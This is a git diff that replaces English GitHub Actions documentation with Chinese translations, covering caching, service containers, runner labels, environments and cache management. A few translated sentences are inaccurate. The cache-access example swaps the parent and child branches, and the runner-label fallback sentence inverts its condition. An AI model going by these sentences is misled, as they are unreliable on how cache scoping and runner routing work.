缓存依赖项 -If your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository. +如果你的作业定期重用依赖项,你可以考虑缓存这些文件以帮助提高性能。 缓存一旦创建,就可用于同一仓库中的所有工作流程。 -This example demonstrates how to cache the ` ~/.npm` directory: +此示例演示如何缓存 ` ~/.npm` 目录: ```yaml jobs: @@ -146,12 +151,12 @@ jobs: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %} ``` -For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)." +有关详细信息,请参阅“[缓存依赖项以加快工作流](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)”。 {% endif %} -### Using databases and service containers +### 使用数据库和服务容器 -If your job requires a database or cache service, you can use the [`services`](/actions/using-jobs/running-jobs-in-a-container) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service. +如果作业需要数据库或缓存服务,可以使用 [`services`](/actions/using-jobs/running-jobs-in-a-container) 关键字创建临时容器来托管服务;生成的容器随后可用于该作业中的所有步骤,并在作业完成后删除。 此示例演示作业如何使用 `services` 创建 `postgres` 容器,然后使用 `node` 连接到服务。 ```yaml jobs: @@ -173,13 +178,13 @@ jobs: POSTGRES_PORT: 5432 ``` -For more information, see "[Using containerized services](/actions/using-containerized-services)." +有关详细信息,请参阅“[使用容器化服务](/actions/using-containerized-services)”。 -### Using labels to route workflows +### 使用标签路由工作流程 -If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %} +如果要确保特定类型的运行器处理作业,可以使用标签来控制作业的执行位置。 除了默认标签 `self-hosted` 之外,还可以为自托管运行器分配其他标签。 然后,您可以在 YAML 工作流程中引用这些标签,确保以可预测的方式安排作业。{% ifversion not ghae %} {% data variables.product.prodname_dotcom %} 托管的运行器已指定预定义的标签。{% endif %} -This example shows how a workflow can use labels to specify the required runner: +此示例显示工作流程如何使用标签来指定所需的运行器: ```yaml jobs: @@ -187,19 +192,17 @@ jobs: runs-on: [self-hosted, linux, x64, gpu] ``` -A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. {% ifversion fpt or ghec %}If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.{% endif %} +工作流只能在所有标签处于 `runs-on` 数组中的运行器上运行。 作业将优先转到具有指定标签的空闲自托管运行器。 {% ifversion fpt or ghec %}如果没有可用且具有指定标签的 {% data variables.product.prodname_dotcom %} 托管的运行器,作业将转到 {% data variables.product.prodname_dotcom %} 托管的运行器。{% endif %} -To learn more about self-hosted runner labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." +有关自托管运行器标签的详细信息,请参阅“[将标签与自托管运行器一起使用](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)”。 -{% ifversion fpt or ghec %} -To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)." +{% ifversion fpt or ghec %} 有关 {% data variables.product.prodname_dotcom %} 托管的运行器标签的详细信息,请参阅“[支持的运行器和硬件资源](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)”。 {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -### Reusing workflows -{% data reusables.actions.reusable-workflows %} -{% endif %} +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +### 重新使用工作流 +{% data reusables.actions.reusable-workflows %} {% endif %} -### Using environments +### 使用环境 -You can configure environments with protection rules and secrets to control the execution of jobs in a workflow. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +可以使用保护规则和机密配置环境,以控制工作流中作业的执行。 工作流程中的每个作业都可以引用单个环境。 在将引用环境的作业发送到运行器之前,必须通过为环境配置的任何保护规则。 有关详细信息,请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 diff --git a/translations/zh-CN/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md b/translations/zh-CN/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md index c7fc037163..81f65dee6d 100644 --- a/translations/zh-CN/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md +++ b/translations/zh-CN/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md @@ -1,7 +1,7 @@ --- -title: Caching dependencies to speed up workflows +title: 缓存依赖项以加快工作流程 shortTitle: Cache dependencies -intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.' +intro: 为了使工作流程更快、更高效,可以为依赖项及其他经常重复使用的文件创建和使用缓存。 redirect_from: - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows @@ -14,65 +14,69 @@ type: tutorial topics: - Workflows miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 380fe568e950a4dc388e8f811ecebd12f242c5df +ms.sourcegitcommit: 34d500fe45b362043b4b4685d6705a7bfb484d11 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148164378' --- +## 关于缓存工作流程依赖项 -## About caching workflow dependencies +工作流程运行通常在不同运行之间重新使用相同的输出或下载的依赖项。 例如,Maven、Gradle、npm 和 Yarn 等软件包和依赖项管理工具都会对下载的依赖项保留本地缓存。 -Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies. +{% data variables.product.prodname_dotcom %} 托管的运行器上的 {% ifversion fpt or ghec %} 作业在干净的运行器映像中启动,每次都必须下载依赖项,导致网络利用率提高、运行时间延长和成本增加。 {% endif %}为帮助加快重新创建依赖项等文件,{% data variables.product.prodname_dotcom %} 可以缓存你在工作流中经常使用的文件。 -{% ifversion fpt or ghec %} Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean runner image and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. {% endif %}To help speed up the time it takes to recreate files like dependencies, {% data variables.product.prodname_dotcom %} can cache files you frequently use in workflows. +要缓存作业的依赖项,可以使用 {% data variables.product.prodname_dotcom %} 的 [`cache` 操作](https://github.com/actions/cache)。 该操作创建和还原由唯一键标识的缓存。 或者,如果要缓存下列包管理器,则使用其各自的 setup-* 操作需要最小配置并将为你创建和还原依赖项缓存。 -To cache dependencies for a job, you can use {% data variables.product.prodname_dotcom %}'s [`cache` action](https://github.com/actions/cache). The action creates and restores a cache identified by a unique key. Alternatively, if you are caching the package managers listed below, using their respective setup-* actions requires minimal configuration and will create and restore dependency caches for you. - -| Package managers | setup-* action for caching | +| 包管理器 | 用于缓存的 setup-* 操作 | |---|---| -| npm, Yarn, pnpm | [setup-node](https://github.com/actions/setup-node#caching-global-packages-data) | -| pip, pipenv, Poetry | [setup-python](https://github.com/actions/setup-python#caching-packages-dependencies) | -| Gradle, Maven | [setup-java](https://github.com/actions/setup-java#caching-packages-dependencies) | +| npm、Yarn、pnpm | [setup-node](https://github.com/actions/setup-node#caching-global-packages-data) | +| pip、pipenv、Poetry | [setup-python](https://github.com/actions/setup-python#caching-packages-dependencies) | +| Gradle、Maven | [setup-java](https://github.com/actions/setup-java#caching-packages-dependencies) | | RubyGems | [setup-ruby](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically) | | Go `go.sum` | [setup-go](https://github.com/actions/setup-go#caching-dependency-files-and-build-outputs) | {% warning %} -**Warning**: {% ifversion fpt or ghec %}Be mindful of the following when using caching with {% data variables.product.prodname_actions %}: +警告:{% ifversion fpt or ghec %}将缓存与 {% data variables.product.prodname_actions %} 结合使用时,请注意以下几点: -* {% endif %}We recommend that you don't store any sensitive information in the cache. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of a cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch. +* {% endif %}建议不要在缓存中存储任何敏感信息。 例如,敏感信息可以包括存储在缓存路径的文件中的访问令牌或登录凭据。 此外,命令行接口 (CLI) 程序(例如 `docker login`)可以将访问凭据保存在配置文件中。 具有读取访问权限的任何人都可以在存储库上创建拉取请求并访问缓存的内容。 仓库的复刻也可在基本分支上创建拉取请求,并在基本分支上访问缓存。 {%- ifversion fpt or ghec %} -* When using self-hosted runners, caches from workflow runs are stored on {% data variables.product.company_short %}-owned cloud storage. A customer-owned storage solution is only available with {% data variables.product.prodname_ghe_server %}. +* 使用自托管运行器时,工作流运行中的缓存存储在 {% data variables.product.company_short %} 拥有的云存储上。 客户拥有的存储解决方案仅适用于 {% data variables.product.prodname_ghe_server %}。 {%- endif %} {% endwarning %} {% data reusables.actions.comparing-artifacts-caching %} -For more information on workflow run artifacts, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." +有关工作流运行工件的详细信息,请参阅“[使用工件持久保存工作流数据](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。 -## Restrictions for accessing a cache +## 访问缓存的限制 -Access restrictions provide cache isolation and security by creating a logical boundary between different branches or tags. -Workflow runs can restore caches created in either the current branch or the default branch (usually `main`). If a workflow run is triggered for a pull request, it can also restore caches created in the base branch, including base branches of forked repositories. For example, if the branch `feature-b` has the base branch `feature-a`, a workflow run triggered on a pull request would have access to caches created in the default `main` branch, the base `feature-a` branch, and the current `feature-b` branch. +访问限制通过在不同分支或标记之间创建逻辑边界来提供缓存隔离和安全性。 工作流运行可以还原在当前分支或默认分支(通常是 `main`)中创建的缓存。 如果为拉取请求触发了工作流运行,则它还可以还原在基分支中创建的缓存,包括分支存储库的基分支。 例如,如果分支 `feature-b` 具有基分支 `feature-a`,则对拉取请求触发的工作流运行将有权访问在默认 `main` 分支、`feature-a` 基分支和当前 `feature-b` 分支中创建的缓存。 -Workflow runs cannot restore caches created for child branches or sibling branches. For example, a cache created for the child `feature-b` branch would not be accessible to a workflow run triggered on the parent `main` branch. Similarly, a cache created for the `feature-a` branch with the base `main` would not be accessible to its sibling `feature-c` branch with the base `main`. Workflow runs also cannot restore caches created for different tag names. For example, a cache created for the tag `release-a` with the base `main` would not be accessible to a workflow run triggered for the tag `release-b` with the base `main`. +工作流运行无法还原为子分支或同级分支创建的缓存。 例如,在父分支 `feature-b` 上触发的工作流运行无法访问为子分支 `main` 创建的缓存。 例如,为 `feature-a` 分支(基分支为 `main`)创建的缓存无法供其同级 `feature-c` 分支(基分支为 `main`)访问。 工作流运行也不能还原为不同标记名称创建的缓存。 例如,针对标记 `release-b`(基分支为 `main`)触发的工作流无法访问为标记 `release-a`(基分支为 `main`)创建的缓存。 -When a cache is created by a workflow run triggered on a pull request, the cache is created for the merge ref (`refs/pull/.../merge`). Because of this, the cache will have a limited scope and can only be restored by re-runs of the pull request. It cannot be restored by the base branch or other pull requests targeting that base branch. +当缓存由对拉取请求触发的工作流运行创建时,会为合并引用 (`refs/pull/.../merge`) 创建缓存。 因此,缓存的范围有限,只能通过重新运行拉取请求来还原。 它不能由基分支或针对该基分支的其他拉取请求还原。 -Multiple workflow runs in a repository can share caches. A cache created for a branch in a workflow run can be accessed and restored from another workflow run for the same repository and branch. +存储库中的多个工作流运行可以共享缓存。 可以从同一存储库和分支的另一个工作流运行访问和还原为工作流运行中的分支创建的缓存。 -## Using the `cache` action +## 使用 `cache` 操作 -The [`cache` action](https://github.com/actions/cache) will attempt to restore a cache based on the `key` you provide. When the action finds a cache that _exactly_ matches the key, the action restores the cached files to the `path` you configure. -You can optionally provide a list of `restore-keys` to use in case the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can _partially_ match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)." +此 [`cache` 操作](https://github.com/actions/cache)将尝试根据你提供 `key` 的还原缓存。 当操作找到与键完全匹配的缓存时,该操作会将缓存的文件还原到你配置的 `path`。 +可以选择提供在 `key` 与现有缓存不匹配时要使用的 `restore-keys` 列表。 从另一个分支还原缓存时,`restore-keys` 列表非常有用,因为 `restore-keys` 可以部分匹配缓存键。 有关匹配 `restore-keys` 的详细信息,请参阅“[匹配缓存密钥](#matching-a-cache-key)”。 -If there is an exact match to the provided `key`, this is considered a cache hit. If no cache exactly matches the provided `key`, this is considered a cache miss. On a cache miss, the action automatically creates a new cache if the job completes successfully. The new cache will use the `key` you provided and contains the files you specify in `path`. For more information about how this is handled, see "[Cache hits and misses](#cache-hits-and-misses)." +如果与提供的 `key` 完全匹配,则这被视为缓存命中。 如果没有缓存与提供的 `key` 完全匹配,则这被视为缓存失误。 在缓存失误情况下,该操作会在作业成功完成时自动创建一个新缓存。 新缓存将使用你提供的 `key`,并包含你在 `path` 中指定的文件。 有关如何处理此问题的详细信息,请参阅“[缓存命中和缓存失误](#cache-hits-and-misses)”。 -You cannot change the contents of an existing cache. Instead, you can create a new cache with a new key. +不能更改现有缓存的内容。 相反,可以使用新键创建新缓存。 -### Input parameters for the `cache` action +### `cache` 操作的输入参数 -- `key`: **Required** The key created when saving a cache and the key used to search for a cache. It can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail. -- `path`: **Required** The path(s) on the runner to cache or restore. - - You can specify a single path, or you can add multiple paths on separate lines. For example: +- `key`:必要。保存缓存时创建的密钥和用于搜索缓存的密钥。 它可以是变量、上下文值、静态字符串和函数的任何组合。 密钥最大长度为 512 个字符,密钥长度超过最大长度将导致操作失败。 +- `path`:必要。运行器上用于缓存或还原的路径。 + - 可以指定单个路径,也可以在单独的行上添加多个路径。 例如: ``` - name: Cache Gradle packages @@ -82,9 +86,9 @@ You cannot change the contents of an existing cache. Instead, you can create a n ~/.gradle/caches ~/.gradle/wrapper ``` - - You can specify either directories or single files, and glob patterns are supported. - - You can specify absolute paths, or paths relative to the workspace directory. -- `restore-keys`: **Optional** A string containing alternative restore keys, with each restore key placed on a new line. If no cache hit occurs for `key`, these restore keys are used sequentially in the order provided to find and restore a cache. For example: + - 可以指定目录或单个文件,并且支持 glob 模式。 + - 可以指定绝对路径或相对于工作区目录的路径。 +- `restore-keys`:可选。包含备用还原键的字符串,每个还原键均放置在一个新行上。 如果 `key` 没有发生缓存命中,则按照提供的顺序依次使用这些还原键来查找和还原缓存。 例如: {% raw %} ```yaml @@ -95,28 +99,28 @@ You cannot change the contents of an existing cache. Instead, you can create a n ``` {% endraw %} -### Output parameters for the `cache` action +### `cache` 操作的输出参数 -- `cache-hit`: A boolean value to indicate an exact match was found for the key. +- `cache-hit`:表示找到了键的精确匹配项的布尔值。 -### Cache hits and misses -When `key` exactly matches an existing cache, it's called a _cache hit_, and the action restores the cached files to the `path` directory. +### 缓存命中和缓存失误 +当 `key` 完全匹配现有缓存时,被称为缓存命中,并且操作会将缓存的文件还原到 `path` 目录。 -When `key` doesn't match an existing cache, it's called a _cache miss_, and a new cache is automatically created if the job completes successfully. +当 `key` 不匹配现有缓存时,则被称为缓存失误,在作业成功完成时会自动创建一个新缓存。 -When a cache miss occurs, the action also searches your specified `restore-keys` for any matches: +发生缓存失误时,该操作还会搜索指定的 `restore-keys` 以查找任何匹配项: -1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`. - - When there is an exact match, the action restores the files in the cache to the `path` directory. - - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory. -1. The `cache` action completes and the next step in the job runs. -1. If the job completes successfully, the action automatically creates a new cache with the contents of the `path` directory. +1. 如果提供 `restore-keys`,`cache` 操作将按顺序搜索与 `restore-keys` 列表匹配的任何缓存。 + - 当存在精确匹配时,该操作会将缓存中的文件还原到 `path` 目录。 + - 如果没有精确匹配,操作将会搜索恢复键值的部分匹配。 当操作找到部分匹配时,最近的缓存将还原到 `path` 目录。 +1. `cache` 操作完成,作业中的下一个步骤运行。 +1. 如果作业成功完成,则操作将自动创建一个包含 `path` 目录内容的新缓存。 -For a more detailed explanation of the cache matching process, see "[Matching a cache key](#matching-a-cache-key)." +有关缓存匹配过程的更详细说明,请参阅“[匹配缓存键](#matching-a-cache-key)”。 -### Example using the `cache` action +### 使用 `cache` 操作的示例 -This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file. +此示例在 `package-lock.json` 文件中的包更改时,或运行器的操作系统更改时,创建一个新的缓存。 缓存键使用上下文和表达式生成一个键值,其中包括运行器的操作系统和 `package-lock.json` 文件的 SHA-256 哈希。 ```yaml{:copy} name: Caching with npm @@ -156,13 +160,13 @@ jobs: run: npm test ``` -### Using contexts to create cache keys +### 使用上下文创建缓存键 -A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Expressions](/actions/learn-github-actions/expressions)." +缓存键可以包括 {% data variables.product.prodname_actions %} 支持的任何上下文、函数、文本和运算符。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts)”和“[表达式](/actions/learn-github-actions/expressions)”。 -Using expressions to create a `key` allows you to automatically create a new cache when dependencies change. +使用表达式创建 `key` 使你能够在依赖项更改时自动创建新缓存。 -For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. So, when the dependencies that make up the `package-lock.json` file change, the cache key changes and a new cache is automatically created. +例如,可以使用可计算 npm `package-lock.json` 文件的哈希的表达式创建 `key`。 因此,当构成 `package-lock.json` 文件的依赖项更改时,缓存键会更改,并自动创建新缓存。 {% raw %} ```yaml @@ -170,17 +174,17 @@ npm-${{ hashFiles('package-lock.json') }} ``` {% endraw %} -{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`. +{% data variables.product.prodname_dotcom %} 计算表达式 `hash "package-lock.json"` 以派生最终的 `key`。 ```yaml npm-d5ea0750 ``` -### Using the output of the `cache` action +### 使用 `cache` 操作的输出 -You can use the output of the `cache` action to do something based on whether a cache hit or miss occurred. When an exact match is found for a cache for the specified `key`, the `cache-hit` output is set to `true`. +可以使用 `cache` 操作的输出,以根据发生的是缓存命中还是缓存失误来执行某些操作。 找到指定 `key` 的缓存的精确匹配时,`cache-hit` 输出设置为 `true`。 -In the example workflow above, there is a step that lists the state of the Node modules if a cache miss occurred: +在上面的示例工作流中,有一个步骤会列出发生缓存失误时节点模块的状态: ```yaml - if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %} @@ -189,15 +193,15 @@ In the example workflow above, there is a step that lists the state of the Node run: npm list ``` -## Matching a cache key +## 匹配缓存键 -The `cache` action first searches for cache hits for `key` and the cache _version_ in the branch containing the workflow run. If there is no hit, it searches for `restore-keys` and the _version_. If there are still no hits in the current branch, the `cache` action retries same steps on the default branch. Please note that the scope restrictions apply during the search. For more information, see "[Restrictions for accessing a cache](#restrictions-for-accessing-a-cache)." +`cache` 操作首先在包含工作流运行的分支中搜索 `key` 和缓存版本的缓存命中。 如果没有命中,它会搜索 `restore-keys` 和版本。 如果当前分支中仍然没有命中,`cache` 操作会在默认分支上重试相同步骤。 请注意,范围限制在搜索期间适用。 有关详细信息,请参阅“[访问缓存的限制](#restrictions-for-accessing-a-cache)”。 -Cache version is a way to stamp a cache with metadata of the `path` and the compression tool used while creating the cache. This ensures that the consuming workflow run uniquely matches a cache it can actually decompress and use. For more information, see [Cache Version](https://github.com/actions/cache#cache-version) in the Actions Cache documentation. +缓存版本是使用 `path` 元数据以及创建缓存时使用的压缩工具标记缓存的一种方法。 这可确保使用的工作流运行与它实际可以解压缩和使用的缓存唯一匹配。 有关详细信息,请参阅操作缓存文档中的[缓存版本](https://github.com/actions/cache#cache-version)。 -`restore-keys` allows you to specify a list of alternate restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches the `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache. +通过 `restore-keys`,你可以指定当 `key` 中发生缓存失误时要使用的备用还原键列表。 您可以创建从最具体到最不具体的多个恢复键。 `cache` 操作按顺序搜索 `restore-keys`。 当键不直接匹配时,操作将搜索以恢复键为前缀的键。 如果恢复键值有多个部分匹配项,操作将返回最近创建的缓存。 -### Example using multiple restore keys +### 使用多个恢复键值的示例 {% raw %} ```yaml @@ -208,7 +212,7 @@ restore-keys: | ``` {% endraw %} -The runner evaluates the expressions, which resolve to these `restore-keys`: +运行器将计算表达式,这些表达式解析为以下 `restore-keys`: {% raw %} ```yaml @@ -219,13 +223,13 @@ restore-keys: | ``` {% endraw %} -The restore key `npm-feature-` matches any key that starts with the string `npm-feature-`. For example, both of the keys `npm-feature-fd3052de` and `npm-feature-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order: +还原键 `npm-feature-` 与以字符串 `npm-feature-` 开头的任何键匹配。 例如,`npm-feature-fd3052de` 和 `npm-feature-a9b253ff` 这两个键都与还原键匹配。 将使用创建日期最新的缓存。 此示例中的键值按以下顺序搜索: -1. **`npm-feature-d5ea0750`** matches a specific hash. -1. **`npm-feature-`** matches cache keys prefixed with `npm-feature-`. -1. **`npm-`** matches any keys prefixed with `npm-`. +1. `npm-feature-d5ea0750` 匹配特定哈希。 +1. `npm-feature-` 匹配前缀为 `npm-feature-` 的缓存键。 +1. `npm-` 匹配前缀为 `npm-` 的任何键。 -#### Example of search priority +#### 搜索优先级示例 ```yaml key: @@ -235,132 +239,77 @@ restore-keys: | npm- ``` -For example, if a pull request contains a `feature` branch and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order: +例如,如果拉取请求包含 `feature` 分支,并以默认分支 (`main`) 为目标,则该操作将按以下顺序搜索 `key` 和 `restore-keys`: -1. Key `npm-feature-d5ea0750` in the `feature` branch -1. Key `npm-feature-` in the `feature` branch -1. Key `npm-` in the `feature` branch -1. Key `npm-feature-d5ea0750` in the `main` branch -1. Key `npm-feature-` in the `main` branch -1. Key `npm-` in the `main` branch +1. `feature` 分支中的键 `npm-feature-d5ea0750` +1. `feature` 分支中的键 `npm-feature-` +1. `feature` 分支中的键 `npm-` +1. `main` 分支中的键 `npm-feature-d5ea0750` +1. `main` 分支中的键 `npm-feature-` +1. `main` 分支中的键 `npm-` -## Usage limits and eviction policy +## 使用限制和收回政策 -{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited{% ifversion actions-cache-policy-apis %}. By default, the limit is 10 GB per repository, but this limit might be different depending on policies set by your enterprise owners or repository administrators.{% else %} to 10 GB.{% endif %} +{% data variables.product.prodname_dotcom %} 将删除 7 天内未被访问的任何缓存条目。 可以存储的缓存数没有限制,但存储库中所有缓存的总大小限制{% ifversion actions-cache-policy-apis %}。 默认情况下,每个存储库的限制为 10 GB,但根据企业所有者或存储库管理员设置的策略,此限制可能有所不同。{% else %}为 10 GB。{% endif %} -{% data reusables.actions.cache-eviction-process %} {% ifversion actions-cache-ui %}The cache eviction process may cause cache thrashing, where caches are created and deleted at a high frequency. To reduce this, you can review the caches for a repository and take corrective steps, such as removing caching from specific workflows. For more information, see "[Managing caches](#managing-caches)."{% endif %}{% ifversion actions-cache-admin-ui %} You can also increase the cache size limit for a repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)." +{% data reusables.actions.cache-eviction-process %} {% ifversion actions-cache-ui %}缓存逐出过程可能会导致缓存抖动,即频繁地创建和删除缓存。 若要减少这种情况,可以查看存储库缓存并采取纠正措施,例如从特定工作流中删除缓存。 有关详细信息,请参阅“[管理缓存](#managing-caches)”。{% endif %}{% ifversion actions-cache-admin-ui %}还可以增加存储库的缓存大小限制。 有关详细信息,请参阅“[管理存储库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)”。 {% elsif actions-cache-policy-apis %} -For information on changing the policies for the repository cache size limit, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-cache-storage-in-your-enterprise)" and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)." +有关更改存储库缓存大小限制的策略的信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_actions %} 策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-cache-storage-in-your-enterprise)”和“[管理存储库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository)”。 {% endif %} {% ifversion actions-cache-management %} -## Managing caches +## 管理缓存 {% ifversion actions-cache-ui %} -To manage caches created from your workflows, you can: +若要管理从工作流创建的缓存,可以: -- View a list of all cache entries for a repository. -- Filter and sort the list of caches using specific metadata such as cache size, creation time, or last accessed time. -- Delete cache entries from a repository. -- Monitor aggregate cache usage for repositories and organizations. +- 查看存储库的所有缓存条目的列表。 +- 使用特定元数据(如缓存大小、创建时间或上次访问时间)对缓存列表进行筛选和排序。 +- 从存储库中删除缓存条目。 +- 监视存储库和组织的聚合缓存使用情况。 -There are multiple ways to manage caches for your repositories: +可通过多种方式管理存储库缓存: -- Using the {% data variables.product.prodname_dotcom %} web interface, as shown below. -- Using the REST API. For more information, see the "[{% data variables.product.prodname_actions %} Cache](/rest/actions/cache)" REST API documentation. -- Installing a {% data variables.product.prodname_cli %} extension to manage your caches from the command line. For more information, see the [gh-actions-cache](https://github.com/actions/gh-actions-cache) extension. +- 使用 {% data variables.product.prodname_dotcom %} Web 界面,如下所示。 +- 使用 REST API。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 缓存](/rest/actions/cache)”REST API 文档。 +- 安装 {% data variables.product.prodname_cli %} 扩展来从命令行管理缓存。 有关详细信息,请参阅 [gh-actions-cache](https://github.com/actions/gh-actions-cache) 扩展。 {% else %} -You can use the {% data variables.product.product_name %} REST API to manage your caches. {% ifversion actions-cache-list-delete-apis %}You can use the API to list and delete cache entries, and see your cache usage.{% elsif actions-cache-management %}At present, you can use the API to see your cache usage, with more functionality expected in future updates.{% endif %} For more information, see the "[{% data variables.product.prodname_actions %} Cache](/rest/actions/cache)" REST API documentation. +可以使用 {% data variables.product.product_name %} REST API 来管理缓存。 {% ifversion actions-cache-list-delete-apis %}可以使用 API 列出和删除缓存条目,并查看缓存使用情况。{% elsif actions-cache-management %}目前,可以使用 API 查看缓存使用情况,将来的更新中预期会有更多功能。{% endif %}有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 缓存](/rest/actions/cache)”REST API 文档。 -You can also install a {% data variables.product.prodname_cli %} extension to manage your caches from the command line. For more information about the extension, see [the extension documentation](https://github.com/actions/gh-actions-cache#readme). For more information about {% data variables.product.prodname_cli %} extensions, see "[Using GitHub CLI extensions](/github-cli/github-cli/using-github-cli-extensions)." +你还可以安装 {% data variables.product.prodname_cli %} 扩展来从命令行管理缓存。 有关扩展的详细信息,请参阅[扩展文档](https://github.com/actions/gh-actions-cache#readme)。 有关 {% data variables.product.prodname_cli %} 扩展的详细信息,请参阅“[使用 GitHub CLI 扩展](/github-cli/github-cli/using-github-cli-extensions)”。 {% endif %} {% ifversion actions-cache-ui %} -### Viewing cache entries +### 查看缓存条目 -You can use the web interface to view a list of cache entries for a repository. In the cache list, you can see how much disk space each cache is using, when the cache was created, and when the cache was last used. +可以使用 Web 界面查看存储库的缓存条目列表。 在缓存列表中,可以看到每个缓存占用的磁盘空间量、创建缓存的时间以及上次使用缓存的时间。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.actions-cache-list %} -1. Review the list of cache entries for the repository. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.actions-cache-list %} +1. 查看存储库的缓存条目列表。 - * To search for cache entries used for a specific branch, click the **Branch** dropdown menu and select a branch. The cache list will display all of the caches used for the selected branch. - * To search for cache entries with a specific cache key, use the syntax `key: key-name` in the **Filter caches** field. The cache list will display caches from all branches where the key was used. + * 若要搜索用于特定分支的缓存条目,请单击“分支”下拉菜单并选择一个分支。 缓存列表将显示用于所选分支的所有缓存。 + * 若要搜索具有特定缓存键的缓存条目,请使用“筛选缓存”字段中的语法 `key: key-name`。 缓存列表将显示使用键的所有分支中的缓存。 - ![Screenshot of the list of cache entries](/assets/images/help/repository/actions-cache-entry-list.png) + 